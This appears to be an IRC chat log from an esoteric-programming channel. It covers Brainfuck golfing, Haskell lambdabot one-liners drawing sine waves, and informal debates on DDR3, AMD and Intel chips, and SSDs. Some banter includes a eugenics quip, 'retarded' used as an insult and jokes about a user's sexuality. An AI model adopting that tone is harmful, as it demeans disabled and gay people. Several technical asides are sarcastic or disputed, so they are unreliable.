22:52:05 <pikhq> Here's how I'd do abcdefghijkl: --[+++++>->++<<]>----->[--<.+>]
22:52:22 <pikhq> abcdefghijklmnopqrstuvwxyz
22:52:28 <pikhq> !bf --[+++++>->++<<]>----->[--<.+>]
22:52:29 <EgoBot> abcdefghijklmnopqrstuvwxyz
22:52:42 <pikhq> Nice bit of golfing, that.
22:53:27 <pikhq> Code golf -- competing to make the shortest program to do a predefined task.
22:53:35 <ais523> attempting to write a program as shortly as possible
22:53:41 <zid> I used to do those in x86 asm
22:53:42 <pikhq> Especially popular in Perl.
22:54:10 <ais523> there was a BF golfing tournament at Agora ages ago, before they went and invented BF Joust
22:54:10 <zid> I got the example 500 byte program down to about 120 iirc
22:54:24 <pikhq> That snippet is from a Brainfuck golf contest another IRC channel I'm in had.
22:54:27 <zid> using compression and putting the all the loops together
22:54:40 <pikhq> The next smallest program was some 40 chars.
22:56:28 <AnMaster> was the shortest test containing all three of those chars and that was still a sensible sentence I could think of
22:56:28 -!- GreaseMonkey has joined.
22:57:01 <AnMaster> oh and in alphabetic order too!
22:59:44 -!- augur has quit (Read error: 104 (Connection reset by peer)).
22:59:49 -!- augur has joined.
23:00:31 <AnMaster> reading the AMD64 ABI is fun...
23:03:04 <nooga> Application Bugging Interface?
23:21:40 <nooga> ais523: Agora golfing in what?
23:22:07 <ais523> nooga: they had a Brainfuck golfing competition a while ago
23:30:43 <ais523> because there are lots of esoprogrammers there
23:31:44 <ais523> it's also why nomic gets discussed here occasionally
23:35:26 -!- augur_ has joined.
23:35:26 -!- augur has quit (Read error: 104 (Connection reset by peer)).
23:38:10 -!- CESSMASTER has quit ("☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃☃").
23:40:56 -!- ais523 has quit (Remote closed the connection).
23:49:12 -!- oerjan has joined.
23:51:06 <oerjan> who the hell is spoony anyway...
23:52:15 <pikhq> I wonder if he's a spoony bard.
23:54:29 <oerjan> also, why is that _not_ a spoonerism. apparently.
23:55:17 <pikhq> Boony spard makes less sense.
23:55:50 <oerjan> and bony spaard is not much better
23:57:41 <GregorR> oerjan: You were running a Haskell snippet that printed "BRAAAAAINS" right as she was writing "BRAAAAAINS" in a different channel :P
23:57:49 <GregorR> Seemed a little bit unlikely :P
23:58:12 <GregorR> So I came to the ONLY natural conclusion.
23:58:19 <oerjan> except that was induced by someone here mentioning zombies, i think
23:59:59 <oerjan> goddammit i bit my lip again
00:01:57 <nooga> i wonder how to write a software synthesizer
00:02:50 <ehird> 23:51 oerjan: who the hell is spoony anyway...
00:03:19 <oerjan> oh. and what is that again.
00:03:34 <oerjan> oh that secret club stuff
00:03:35 <ehird> oerjan: you're a mathematician
00:03:38 <ehird> don't you know about sine waves????
00:03:51 <ehird> lol for certain definitions of secret club
00:04:54 <nooga> how about cosine waves?
00:05:13 <nooga> only difference is the phase
00:05:36 <ehird> cosine would be sine whereby the server is made of antimatter.
00:08:05 <oerjan> > ("_-^"!!).truncate.(+3/2).sin<$>[0, 0.1 ..]
00:08:07 <lambdabot> "------^^^^^^^^^^^^^^^^^^^^^----------_____________________-----------^^^^^...
00:08:08 -!- augur_ has quit (Read error: 104 (Connection reset by peer)).
00:08:11 -!- augur has joined.
00:08:14 -!- CESSMASTER has joined.
00:08:26 <oerjan> > ("_-^"!!).truncate.(+3/2).sin<$>[0, 0.3 ..]
00:08:28 <lambdabot> "--^^^^^^^----_______---^^^^^^^----_______---^^^^^^^----_______---^^^^^^^--...
00:09:08 <pikhq> oerjan: That is... Pretty impressive, actually.
00:09:12 <ehird> nooga: total what bullshit?
00:09:34 <ehird> you should try it with the unicode bocks :p
00:10:58 <pikhq> > ("_,-'^"!!).truncate.(+3/2).sin<$>[0,0.3..[
00:11:00 <lambdabot> <no location info>: parse error (possibly incorrect indentation)
00:11:00 <pikhq> > ("_,-'^"!!).truncate.(+3/2).sin<$>[0,0.3..]
00:11:02 <lambdabot> ",,-------,,,,_______,,,-------,,,,_______,,,-------,,,,_______,,,-------,,...
00:11:29 <oerjan> need rescaling too if you have more than 3
00:11:32 <pikhq> > ("_,-'^"!!).truncate.(+5/2).sin<$>[0,0.3..]
00:11:33 <lambdabot> "--'''''''----,,,,,,,---'''''''----,,,,,,,---'''''''----,,,,,,,---'''''''--...
00:11:41 <pikhq> > ("_,-'^"!!).truncate.(+5/2).sin<$>[0,0.1..]
00:11:43 <lambdabot> "------'''''''''''''''''''''----------,,,,,,,,,,,,,,,,,,,,,-----------'''''...
00:11:50 <nooga> > (".:|"!!).truncate.(+3/2).sin<$>[0, 0.1 ..]
00:11:52 <ehird> It's a fraction, yo
00:11:52 <lambdabot> "::::::|||||||||||||||||||||::::::::::.....................:::::::::::|||||...
00:12:03 <lambdabot> <no location info>: parse error on input `+'
00:12:08 <lambdabot> Overlapping instances for GHC.Show.Show (a -> a)
00:12:12 <ehird> > (+3/2) <$> [0..]
00:12:13 <lambdabot> [1.5,2.5,3.5,4.5,5.5,6.5,7.5,8.5,9.5,10.5,11.5,12.5,13.5,14.5,15.5,16.5,17....
00:12:18 <ehird> > (+5/2) <$> [0..]
00:12:19 <lambdabot> [2.5,3.5,4.5,5.5,6.5,7.5,8.5,9.5,10.5,11.5,12.5,13.5,14.5,15.5,16.5,17.5,18...
00:12:25 <ehird> > truncate . (+5/2) <$> [0..]
00:12:27 <lambdabot> [2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2...
00:12:28 <ehird> > truncate . (+3/2) <$> [0..]
00:12:30 <lambdabot> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28...
00:12:48 <ehird> oerjan: err, so your thingy is actually just (+1) :P
00:12:52 <pikhq> > truncate . (+5/4) <$> [0..]
00:12:54 <lambdabot> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28...
00:13:03 <ehird> > ("_-^"!!).(+1).sin<$>[0, 0.3 ..]
00:13:04 <lambdabot> No instance for (GHC.Float.Floating GHC.Types.Int)
00:13:10 <pikhq> > truncate . (+5/4) <$> [0,0.3..]
00:13:12 <lambdabot> [1,1,1,2,2,2,3,3,3,3,4,4,4,5,5,5,6,6,6,6,7,7,7,8,8,8,9,9,9,9,10,10,10,11,11...
00:13:19 <ehird> > ("_-^"!!).truncate.(+1).sin<$>[0, 0.3 ..]
00:13:19 <nooga> ----,,,,_______,,,---- ehird, sine or cosine?
00:13:20 <lambdabot> "-----------__________-----------__________-----------__________-----------...
00:13:22 <pikhq> > truncate . (+5/2) <$> [0,0.3..]
00:13:24 <lambdabot> [2,2,3,3,3,3,4,4,4,5,5,5,6,6,6,6,7,7,7,8,8,8,9,9,9,9,10,10,10,11,11,11,12,1...
00:13:31 <pikhq> > truncate . (+3/2) <$> [0,0.3..]
00:13:33 <lambdabot> [1,1,2,2,2,2,3,3,3,4,4,4,5,5,5,5,6,6,6,7,7,7,8,8,8,8,9,9,9,10,10,10,11,11,1...
00:13:43 <nooga> can't tell, it depends on window
00:13:45 * pikhq needs to think about this instead of just typing random shit.
00:14:23 <pikhq> > truncate . (+3/2) <$> [0,1..]
00:14:24 <lambdabot> [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28...
00:14:48 <ehird> @check (\x -> (x+(3/2)) == ((+3/2) x))
00:16:40 <oerjan> i said you need a rescaling, that is, a multiplication
00:17:44 <oerjan> -1 .. 1 has length 2, which i divided in to 3 uneven parts so the tops would not be just single points
00:18:59 <nooga> where is my char table
00:19:25 <GregorR> That's called a "chair" hyuk hyuk
00:19:56 <oerjan> > ("_,-'^"!!).truncate.(+9/4).(*2).sin<$>[0, 0.3 ..]
00:19:58 <lambdabot> "--''^^^'''-,,______,,--''^^^'''-,,______,,--''^^^'''-,,______,,--''^^^'''-...
00:20:20 <oerjan> hm not sure that was ideal
00:21:25 <nooga> ehird: find characters bitch
00:21:37 <oerjan> > ("_,-'^"!!).truncate.(*2).(+5/4)sin<$>[0, 0.3 ..]
00:21:38 <lambdabot> No instance for (GHC.Real.Fractional (a -> a))
00:21:44 <oerjan> > ("_,-'^"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:21:46 <lambdabot> "-''^^^^^''--,,_____,,-''^^^^^''--,,_____,,-''^^^^^''--,,_____,--''^^^^^''-...
00:22:49 <ehird> you can do unicode now right?
00:22:49 <coppro> > ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:22:50 <lambdabot> "\9603\9604\9604\9605\9605\9605\9605\9605\9604\9604\9603\9603\9602\9602\960...
00:22:52 <oerjan> i'm not unicode clean no
00:23:01 <ehird> > text ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:23:03 <lambdabot> Couldn't match expected type `GHC.Base.String'
00:23:04 <ehird> > text $ ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:23:16 <nooga> > ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:23:17 <lambdabot> mueval-core: Prelude.read: no parse
00:23:22 <lambdabot> "\9603\9604\9604\9605\9605\9605\9605\9605\9604\9604\9603\9603\9602\9602\960...
00:23:32 <ehird> > length "▁▂▃▄▅▆▇█"
00:23:37 <ehird> oerjan: what's the code we need for 8 of 'em?
00:24:26 <pikhq> > text $ truncate 50 $ ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:24:27 <lambdabot> No instance for (GHC.Real.Integral
00:24:49 <ehird> > text $ ("▁▂▃▄▅▆▇█"!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..]
00:24:56 <lambdabot> mueval-core: Prelude.read: no parse
00:25:09 <ehird> oerjan: are you the sure
00:25:15 <oerjan> is it actually able to print unicode
00:25:25 <ehird> > var $ ("▁▂▃▄▅▆▇█"!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..]
00:25:26 <pikhq> If it can't, it sucks.
00:25:29 <ehird> > fun $ ("▁▂▃▄▅▆▇█"!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..]
00:25:29 <lambdabot> It could refer to either `Data.Number.Symbolic....
00:25:36 <ehird> > (fun $ ("▁▂▃▄▅▆▇█"!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..])::Expr
00:25:38 <lambdabot> ▅▆▇█* Exception: Prelude.(!!): index too large
00:26:00 <oerjan> could you please give the code point number
00:26:14 <ehird> > map ord "▁▂▃▄▅▆▇█"
00:26:15 <lambdabot> [9601,9602,9603,9604,9605,9606,9607,9608]
00:26:22 <ehird> well that's not in hex
00:26:42 <oerjan> > text . map chr $ [9601,9602,9603,9604,9605,9606,9607,9608]
00:26:47 -!- Pthing has quit (Remote closed the connection).
00:27:08 * ehird sees someone with 2xXeon processors @ 2.66ghz totaling 8 cores, with ... WTF ... 1GB of ram.
00:27:42 <pikhq> ehird: ... I wouldn't recommend 1GB of RAM for most anyone these days.
00:27:51 <oerjan> text $ (['\9601'..'\9608]!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..]
00:28:02 <oerjan> > text $ (['\9601'..'\9608]!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..]
00:28:04 <lambdabot> lexical error in string/character literal at chara...
00:28:05 <ehird> pikhq: actually it's a bit more complicated as DDR3 is what everyone uses now
00:28:12 <oerjan> > text $ (['\9601'..'\9608']!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..]
00:28:19 <lambdabot> mueval-core: Prelude.read: no parse
00:28:28 <pikhq> ehird: Not what everyone uses. Still, yeah; RAM's cheap.
00:28:40 <ehird> pikhq: Oh yes it is. All Dell and Apple computers use DDR3 now.
00:28:43 <pikhq> No point getting a mere gig if you're getting 8 cores.
00:28:48 <oerjan> > text . cycle $ ['\9601'..'\9608']
00:28:48 <pikhq> That's not everyone.
00:28:53 <lambdabot> mueval-core: Prelude.read: no parse
00:28:58 <ehird> pikhq: That's a gigantic chunk of all consumer computers.
00:29:04 <oerjan> > text $ ['\9601'..'\9608']
00:29:17 <ehird> I'll bet that HP use DDR3 too.
00:29:27 <pikhq> > text $ drop 10 $ cycle ['\9601'..'\9608']
00:29:33 <lambdabot> mueval-core: Prelude.read: no parse
00:29:37 <lambdabot> Couldn't match expected type `GHC.Types.Char'
00:29:41 <ehird> Hmm, no. HP are still on DDR2.
00:29:46 <pikhq> > text (drop 10 (cycle ['\9601'..'\9608']))
00:29:50 <lambdabot> mueval-core: Prelude.read: no parse
00:29:52 <lambdabot> mueval-core: Prelude.read: no parse
00:29:52 <ehird> Apple + Dell = an awful lot of computers.
00:30:05 <oerjan> text cannot take infinite strings
00:30:07 <ehird> pikhq: Also, all modern Core 2s *support* DDR3.
00:30:11 <pikhq> > text (take 10 (cycle ['\9601'..'\9608']))
00:30:19 <ehird> So we have an awful lot of people with DDR3 by default, and a whole lot more with DDR3 ability.
00:30:23 <pikhq> > text (take 50 (cycle ['\9601'..'\9608']))
00:30:37 <pikhq> ehird: As do all modern AMD chips.
00:30:37 <oerjan> > fun . repeat $ 'a' :: Expr
00:30:39 <lambdabot> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
00:30:51 <oerjan> > fun $ (['\9601'..'\9608']!!).truncate.(*4).(+9/8).sin<$>[0, 0.3 ..] :: Expr
00:30:53 <ehird> pikhq: are you sure? I'm fairly sure that I looked into AMD recently and there was nary a DDR3 support to be found.
00:30:53 <lambdabot> ▅▆▇█* Exception: Prelude.(!!): index too large
00:30:58 <ehird> This was in Phenom IIs, I think.
00:31:04 <pikhq> > text $ take 50 $ ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:31:15 <ehird> pikhq: Okay, Phenom IIs in AM3 sockets support DDR3.
00:31:27 <pikhq> That's the point of AM3.
00:31:29 <ehird> pikhq: So that's not "all modern AMD chips".
00:31:31 <oerjan> > map ((*4).(+9/8)) [-1, -0.9 .. 1]
00:31:33 <lambdabot> [0.5,0.8999999999999999,1.2999999999999998,1.6999999999999997,2.09999999999...
00:31:44 <ehird> I'd bet like 90% of AMD sales are Athlons.
00:31:53 <oerjan> > map ((*4).(+9/8)) [-1, -0.5 .. 1]
00:31:56 <GregorR> !haskell text $ take 50 $ ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:32:02 <pikhq> That's 2 generations behind.
00:32:06 <ehird> pikhq: No it's not, Athlons are current.
00:32:09 -!- BeholdMyGlory has quit (Remote closed the connection).
00:32:13 <ehird> They're AMD's consumer line.
00:32:21 <ehird> Phenom is the power-user line.
00:32:25 <oerjan> GregorR: you're going to need a heap of imports
00:32:30 <pikhq> Oh, whaddya know. It's the budget line.
00:32:48 <ehird> pikhq: It's the "most people" line.
00:32:56 <pikhq> And those support DDR3.
00:33:09 <ehird> 00:31 pikhq: > text $ take 50 $ ("▁▂▃▄▅▆▇█"!!).truncate.(*2).(+5/4).sin<$>[0, 0.3 ..]
00:33:10 <ehird> 00:31 lambdabot: ▃▄▄▅▅▅▅▅▄▄▃▃▂▂▁▁▁▁▁▂▂▃▄▄▅...
00:33:12 <ehird> this doesn't utilize all the chars
00:33:37 <pikhq> Sorry, that's the "Athlon II" line which they started shipping... Now.
00:34:13 <ehird> pikhq: So by "all modern AMD chips" you mean "all the brand-spanking new ones in brand-spanking new sockets".
00:34:19 <pikhq> Erm. June 2, 2009.
00:34:32 <ehird> Allow me to claim that the current AMD userbase with DDR3 support is... minimal.
00:34:34 <pikhq> "Modern" as in "what they're shipping now".
00:34:44 <nooga> how to approximate sin() ?
00:34:45 <pikhq> ehird: Allow me to claim the same of Intel.
00:34:55 <pikhq> They've not been doing DDR3 all that long either. ;)
00:34:57 <oerjan> > map ((*4).(+8/7)) [-1, -0.5 .. 1]
00:34:58 <lambdabot> [0.5714285714285712,2.571428571428571,4.571428571428571,6.571428571428571,8...
00:35:00 <ehird> pikhq: Core 2 has had DDR3 support for multiple generations.
00:35:04 <ehird> And Core 2 is *huge*.
00:35:14 <oerjan> > map ((*7).(+8/7)) [-1, -0.5 .. 1]
00:35:15 <lambdabot> [0.9999999999999996,4.5,8.0,11.5,15.0]
00:35:21 <pikhq> ORLY? Thought they had only recently introduced DDR3.
00:35:36 <ehird> pikhq: Well, it's not like the oldest thing ever, but it's not something new and surprising
00:35:40 <pikhq> Oh, wait. Intel had seperate memory controllers until recently.
00:35:58 <ehird> Recently = until the ultra-enthusiast Core i7 line that isn't their only line :-P
00:36:05 <oerjan> > map ((*4).(+8/7)) [-1, 0 .. 1]
00:36:07 <lambdabot> [0.5714285714285712,4.571428571428571,8.571428571428571]
00:36:08 <ehird> well, nehalem, not just core i7
00:36:20 <pikhq> Making DDR3 support trivial.
00:36:53 <pikhq> (that's the upside of seperate memory controllers: you can switch memory types without a new processor generation)
00:37:42 <oerjan> > map ((*7/2)) [-1, 0 .. 1]
00:37:44 <lambdabot> The operator `GHC.Num.*' [infixl 7] of a section
00:37:45 <ehird> i wish amd would get their act together and stop making their high-end cpus portable ovens that aren't competitive with intel's
00:37:50 <ehird> i really want to like amd cpus
00:37:51 <oerjan> > map (*(7/2)) [-1, 0 .. 1]
00:38:01 <ehird> but i can't muster the blindness :p
00:38:36 <ehird> (seriously wrt the portable oven thing — those things are *hot*)
00:39:18 * oerjan hates this faulty brain
00:39:39 <pikhq> Shame, too; AMD used to make cool chips.
00:39:55 <ehird> pentium 4 was a total joke
00:40:07 <ehird> but then core 2 happened and amd was unpreparec
00:40:49 <ehird> if you ever want to fry some eggs just start up your 3.8ghz p4
00:41:30 <oerjan> > map ((+4).(*3.5)) [-1, 0 .. 1]
00:41:44 <pikhq> About the only thing AMD still has going for it is in systems with more than 2 chips...
00:41:47 <oerjan> ok that looks about right
00:42:08 <oerjan> > fun $ (['\9601'..'\9608']!!).truncate.(+4).(*3.5).sin<$>[0, 0.3 ..] :: Expr
00:42:20 <pikhq> And even that's not going to be an advantage for too much longer; Intel's finally stopping the "shared system bus" method of multiprocessor support.
00:42:24 <ehird> pikhq: budget machines, and >2 chip machines that aren't a cluster for some weird reason
00:42:34 <ehird> the latter being a vanishingly small market
00:42:39 <ehird> but intel don't really have many cheap chips
00:42:50 <pikhq> The former is AMD's typical market.
00:42:59 <pikhq> And as always, they're rather strong there.
00:43:12 <oerjan> now that looks pretty weird in IE
00:43:15 <ehird> amd *did* start out by making an almost 100% clone of the 386 :P
00:43:31 <oerjan> too bad lambdabot's cutoff considers utf-8 characters by number of bytes
00:43:35 <pikhq> ehird: No, they started by manufacturing 8086's.
00:44:04 <pikhq> (as part of the deal for the IBM PC to use an 8086, IBM required Intel to hand the design to other manufacturers -- no single-sourcing)
00:44:37 <pikhq> Not a mere clone, it *was* an 8086. ;)
00:44:51 <ehird> i want a xerox alto
00:46:35 <oerjan> !haskell putStrLn ['\9601'..'\9608']
00:48:06 -!- Zuu has joined.
00:48:20 -!- game16 has joined.
00:48:38 <oerjan> > iterate(const'u')'Z'
00:48:44 <oerjan> > iterate(const 'u')'Z'
00:48:46 <lambdabot> "Zuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu...
00:49:10 <ehird> game16: fax knew K.
00:49:13 * Zuu giggles ^^
00:49:36 <ehird> oklopol is like leeching internet or something because he didn't pay the bills, fax disappeared from the internet entirely
00:49:44 <ehird> i can hack j given many hours.
00:49:59 <game16> Well, thats about the same rate as I'm going
00:51:03 <ehird> if you like dead channels that never talk try #jsoftware.
00:51:17 <ehird> perfect for all your not-talking needs.
00:52:26 * ehird reads someone claim hard drives are more reliable than SSDs, lols
00:52:36 -!- FireFly has quit ("Later").
00:54:41 <coppro> I think they last longer or something
00:54:47 <coppro> there's been a bunch of stuff on /. about that
00:55:07 <ehird> SSDs last forever and a day
00:55:11 <ehird> and their failure mode is "you can't write"
00:55:12 <nooga> maybe oklopol is Reiser in disguise
00:55:19 <ehird> not "you can't read"
00:55:30 <ehird> also, SSDs are of course way more reliable when you drop them
00:59:20 -!- amca has quit ("Farewell").
01:02:53 <coppro> yes, they are much stronger for abuse
01:03:03 * coppro tries to locate article
01:03:29 <ehird> some crazy guy is implying that a gigantic RAID-0 somehow makes his drives seek faster than the 0 seek time of SSDs
01:04:29 <Zuu> Some people just dont think straight
01:05:05 <ehird> don't sue me GregorR.
01:05:22 <Zuu> oh GregorR is here... :>
01:05:30 <ehird> okay i have to ask who Zuu is
01:05:41 <Zuu> The Zuu is me
01:05:49 * Zuu points at self
01:05:59 <ehird> Zuu: WHAT FOUL DEMON BROUGHT YOU HERE
01:06:05 <pikhq> ehird: He might be able to get a faster in-order read rate.
01:06:16 <Zuu> that would have been the Zuu
01:06:37 <ehird> pikhq: He's saying seek time.
01:06:39 <Zuu> .. which in turn is me... so i suppose im the demon :/
01:06:45 <ehird> Zuu: soo how did you find this abode.
01:06:52 <pikhq> ehird: Which is retarded.
01:07:04 <pikhq> It will always have a non-zero seek time.
01:07:35 <ehird> pikhq: Actually, if you use a drive with large platters, say a 2TB affair, and partition it so that only the first thingymabobforgetitsname is used,
01:07:52 <Zuu> ehird, well i was helping game16 find a place he/she could get help on APL and for that purpose i used the spongy stuff between my ears
01:08:13 <ehird> i think apl programmers would object to your implicit classification :)
01:08:41 <Zuu> Yet it turned out to be a success
01:08:51 <game16> theres like no obvious way to convert numbers into strings
01:08:54 <pikhq> If it has *Unicode code points* allocated specifically for it, it definitely counts as esoteric. :P
01:09:40 * pikhq notes that Perl is also esoteric, but not because of some mythical Perl Unicode block. ;p
01:09:59 <pikhq> Perl is esoteric because it is in the class of languages which cannot be implemented. ;)
01:10:25 <ehird> pikhq: Sure it can be.
01:10:29 <ehird> You just can't parse it separately.
01:10:31 * Zuu eats oerjan
01:11:00 <Zuu> oh, sorry, i thought you were waffles-ing
01:11:10 <ehird> Zuu: are you male?
01:11:17 <Zuu> ehird, maybe :)
01:11:17 <ehird> let's say yes. this is further evidence that oerjan is gay
01:11:47 <GregorR> ehird has the hots for oerjan, but needs to rationalize it. Sad, really.
01:11:49 <ehird> (a) is spoony, {spoony,Dylan} and (b) has engaged in public IRC sexual acts by member of same sex.
01:12:00 <ehird> GregorR: Clearly. :P
01:12:22 <GregorR> Comma space male person on a.
01:12:33 <ehird> oerjan: spoony's husband (at least I think they're married)
01:12:45 <ehird> if not, then PARDNER. Both (a) someone who pardens and (b) cowboy partner.
01:12:51 <ehird> My logic is infallable.
01:12:53 <oerjan> "Celebrity steel cage monkey boxing"
01:13:00 <ehird> That would be Dylan.
01:13:09 <ehird> oerjan: GregorR forgot to mention different network too, though.
01:13:10 <pikhq> ehird: Right, right.
01:13:21 <game16> i think i got it actually
01:13:21 <ehird> pikhq: Also, Haskell is clearly esoteric :P
01:13:49 <game16> Logo and LISP are clearly mainstream
01:14:09 <ehird> yeah it's like java schools, ... lisp schools ...
01:14:12 <ehird> ... logo schools ...
01:14:24 <game16> my intro to comp sci class was taught in NetLogo and Scheme
01:14:48 <ehird> "Written in Java NetLogo runs on MAC's, Windows, Linus and Unix."
01:14:54 <Zuu> tenage mutant ninja... ducks!
01:15:02 <pikhq> ehird: Haskell is taught somewhat often in universities, and is being used in industry.
01:15:05 <ehird> It runs on Media Access Control addresses and Linus Torvalds.
01:15:12 <pikhq> And it doesn't have screwy semantics.
01:15:15 <nooga> poor linus, ran over by a turtle
01:15:16 <ehird> It runs on "Media Access Control addresses is".
01:15:22 <ehird> Whatever the fuck that means.
01:15:30 <nooga> Mind Access Control?
01:15:39 <ehird> pikhq: I have to point out that Haskell industry mostly = Galois and Well-Typed
01:15:52 <ehird> oh, and those iphone peeps
01:16:15 <ehird> nooga: you should use haskell on the iphone.
01:16:18 <ehird> you'd complain less.
01:17:38 <oerjan> > fix.fun$"turtle"::Expr
01:17:40 <lambdabot> turtle (turtle (turtle (turtle (turtle (turtle (turtle (turtle (turtle (tur...
01:17:54 <nooga> i thought about that under shower while ago
01:17:55 <game16> isn't there some way to know how many digits are in a number
01:18:03 <ehird> nooga: ghc has been ported to the iphone
01:18:05 <ehird> jhc can also compile to it
01:18:08 <ehird> and work is going on for bindings
01:18:18 <oerjan> game16: sure, log base 10
01:18:35 <ehird> nooga: ask in #haskell-iphone
01:18:36 <oerjan> you need precise logs though
01:19:24 <oerjan> > truncate.logBase 10<$>[13,1000,55,42,800000]
01:19:52 * ehird sees the SSD-hating idiot claim that a 9% chance of a two-drive RAID 0 failing only applies to some people - "The chances only apply to one in 10,000 users or so. So it it's a 5% chance of a one in 10,000 occurrence."
01:20:01 * ehird sees this as a compelling argument for eugenics.
01:21:17 <Warrigal> "Retarded" could mean "slowed again", "slowed back", or, if it's derived from Spanish, "well-slowed".
01:21:21 * oerjan points at the latest xkcd
01:21:57 <oerjan> game16: no, ceiling fails at exact powes
01:22:18 <Warrigal> ehird: do the SSD-hating idiot's claims make you happy? If not, do you think they make us happy?
01:22:33 <ehird> Warrigal: Does your mom make you happy?
01:22:51 <Warrigal> Yes, but I don't think that's pertinent.
01:22:57 <oerjan> > truncate.logBase 10.(10^)<$>[1..]
01:22:58 <lambdabot> [1,2,2,4,5,5,7,8,8,10,11,11,12,14,14,16,17,17,19,20,20,22,22,23,25,25,26,28...
01:23:03 <ehird> Warrigal: Perhaps not, but YOUR FACE is.
01:23:24 <nooga> but ghc requires gcc
01:23:24 <oerjan> i see floating point makes exact powers unreliable anyway
01:24:31 <nooga> the port targets iphone or runs on iphone? ;d
01:24:38 <pikhq> ehird: ... He's dumb.
01:24:43 <pikhq> ehird: And he has a *large* RAID 0?
01:24:49 <ehird> pikhq: 3 or 4 drives, I forget
01:24:52 <ehird> dumber than a brick
01:25:05 <pikhq> That's guaranteeing a disk failure.
01:25:53 <ehird> he's now arguing that backups mean that disk longevity doesn't matter
01:26:55 <Warrigal> Actually, I shouldn't sarcastically express satisfaction, because you may irrationally interpret that as a reason to forget about my question.
01:26:58 <pikhq> He must not do backup restores often.
01:27:48 <ehird> pikhq: well it's on a mac forum, if you're using time machine it should be pretty painless, but he's teh silly.
01:27:55 <ehird> also that doesn't help when you lose your OS ofc
01:28:05 <pikhq> ehird: It's still time consuming.
01:28:08 <ehird> Warrigal: Actually, I'm ignoring you so you get agitated about me not answering your question.
01:29:57 <pikhq> Raid 5 has valid uses, and a 3 or 4 drives RAID doesn't mark you as an idiot.
01:32:18 <ehird> Warrigal: i guess you can't overcome my bias. it's a shame that we can't all be less wrong than I
01:32:23 <ehird> instant rimshot dot com!
01:33:40 <nooga> i had raid 5+0 @ 16 500GB drives
01:34:18 <ehird> and you can't afford a mac pro?
01:34:35 * Zuu is suddently interrested
01:34:41 <nooga> oh the toys weren't mine
01:40:18 <nooga> ehird: i feel that my company can buy mac pro for me, i should work harder and complain that mb pro isn't enough
01:40:50 <oerjan> <AnMaster> <pikhq> And An paper has the interesting property that you can get An+1 paper by cutting it in half. <--- err yeah? What's so special with that...
01:40:52 <ehird> somehow i find it entirely unlikely that an mbp isn't sufficient for iphone development.
01:41:07 <ehird> Considering that the thing's got a fuckin' ~600mhz ARM!
01:41:20 <pikhq> oerjan: I'm American.
01:41:30 <pikhq> oerjan: We don't have paper defined like that.
01:41:44 <oerjan> pikhq: i haven't commented yet
01:41:57 <pikhq> oerjan: We have slightly smaller than A4, slightly larger than A4, and twice (slightly larger than A4).
01:42:14 <pikhq> Oh, it was a quote from AnMaster. XD
01:42:24 <nooga> ehird: true, but who cares when we can buy new toy
01:42:54 <ehird> nooga: mac pros are expensive. unless you're a graphics designer or professional 3d renderer or movie editor, not happening.
01:42:57 <oerjan> AnMaster: if you add to that the fact that An+1 and An have the same relative proportions, the sqrt(2) ratio drops out
01:43:37 <nooga> ehird: i use photoshop intensively, with large files
01:43:48 <ehird> nooga: define large
01:43:59 <nooga> like um, 900MB uncompressed
01:44:47 <nooga> large enough to make it choppy experience
01:44:56 <ehird> "Currently SSD aren't for people that need huge storage but the added benefit is that they are silicon and therefore follow Moores Law."
01:45:01 <ehird> Fun fact: Moore's Law is a law of physics
01:45:06 <ehird> It applies only to silicon atoms
01:47:11 <nooga> PING onet.pl (213.180.138.148): 56 data bytes
01:47:17 <nooga> 64 bytes from 213.180.138.148: icmp_seq=0 ttl=56 time=2797.510 ms
01:47:17 <nooga> 64 bytes from 213.180.138.148: icmp_seq=1 ttl=56 time=2986.018 ms
01:47:56 <ehird> <pikhq> something about packets and space
01:50:24 <oerjan> ehird: carbon clearly uses a different base
01:54:59 -!- nooga_ has joined.
01:57:39 <ehird> intel are adding a 320gb ssd to their x25-m range in q4
01:57:44 <ehird> prolly for the same price as current 160gbs
02:06:21 <nooga_> my sine approximation in sadol seems not to work
02:06:58 <ehird> prolly like 320gb $620, 160gb $310, 80gb $150
02:12:46 <oerjan> > (f, x::Expr, f x::Expr)
02:13:03 <ehird> oerjan: f is polymorphic
02:13:42 <oerjan> hm that is rather messed up...
02:18:13 <lambdabot> forall a. (SimpleReflect.FromExpr a) => a
02:18:26 -!- nooga has quit (Success).
02:18:28 <lambdabot> forall a. (SimpleReflect.FromExpr a) => a
02:19:08 <oerjan> > let g :: forall a. (SimpleReflect.FromExpr a) => a; g = f (f :: Expr) in g (g :: Expr) :: Expr
02:19:10 <lambdabot> Not in scope: type constructor or class `SimpleReflect.FromExpr'
